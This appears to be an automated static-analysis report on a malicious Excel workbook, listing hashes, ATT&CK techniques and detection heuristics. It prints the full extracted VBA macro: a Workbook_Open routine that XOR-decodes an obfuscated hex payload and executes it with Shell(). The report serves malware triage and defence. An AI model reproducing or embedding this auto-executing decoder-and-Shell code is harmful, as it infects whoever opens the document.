Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 de236e3e400a6fba…

MALICIOUS

Office (OOXML)

13.2 KB Created: 2020-03-13 15:53:55 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: e48f1e18753ad1d2c2078803e26c4cf0 SHA-1: a59759faa61e459d13b7bdc4cd8ff9db6d206e00 SHA-256: de236e3e400a6fba6da5cdecf0b9c1c9753e073e6b3d4679e0e127d109727829
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The file is an Excel document containing a Workbook_Open VBA macro. This macro utilizes the Shell() function to execute a decoded string, which likely serves as a second-stage payload. The presence of the Workbook_Open macro and the Shell() call are critical indicators of malicious intent, suggesting a downloader or dropper functionality.

Heuristics 6

  • ClamAV: Xls.Dropper.Agent-7618880-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7618880-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2363 bytes
SHA-256: 4f624b83ea70b90c59f39d9b314b646c15ecb6100b1e88a0c4c12cdfb457abf3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub Workbook_Open()
Dim ¾…¹GòÃo·•ò·§–‚¾¥D¹â৙×w„‚Ǽ¹·œ€ö·•´àiا„•™¥¬´Z½¹Y°§Ã… As String
¾…¹GòÃo·•ò·§–‚¾¥D¹â৙×w„‚Ǽ¹·œ€ö·•´àiا„•™¥¬´Z½¹Y°§Ã… = "222C25616E2261312E61070706060707060661362433610707060607070606613229242D2D6F243924616C24392422346107070606070706066135282E2F312E2D2822386123383120323261610707060607070606616C166109282525242F616C222E610707060607070606612C2C202F2561692F24366C2E232B2422356112383235242C6F0F24356F162423022D28242F35686F052E362F2D2E202507282D246966293535317B6E6E262E2E26282F266F39383B6E0D282F263728323528322A726F243924666D65242F377B15242C316A661D2F2461070706060707060661362728610707060607070606612D246F04392466687A690F24366C0E232B242235616C22610707060607070606612E2C611229242D2D6F610707060607070606610031312D28222035282E2F686F1229242D2D043924223435246965242F377B1524610707060607070606612C316A661D2F24362761070706060707060661282D246F0439246668"
Shell (Replace(a(a("g", "262626"), ¾…¹GòÃo·•ò·§–‚¾¥D¹â৙×w„‚Ǽ¹·œ€ö·•´àiا„•™¥¬´Z½¹Y°§Ã…), " FFGGFFGG ", ""))
End Sub
    Public Function a(CodeKey As String, DataIn As String) As String
        Dim lonDataPtr As Long
        Dim strDataOut As String
        Dim intXOrValue1 As Integer
        Dim intXOrValue2 As Integer
        For lonDataPtr = 1 To (Len(DataIn) / 2)
            intXOrValue1 = Val("&H" & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
            intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
            strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2)
        Next lonDataPtr
        a = strDataOut
    End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15360 bytes
SHA-256: fc67aa44f6d23e280087430970344103e63d95d0a19bbdadcf2517d768d2936a
Detection
ClamAV: Xls.Dropper.Agent-7618880-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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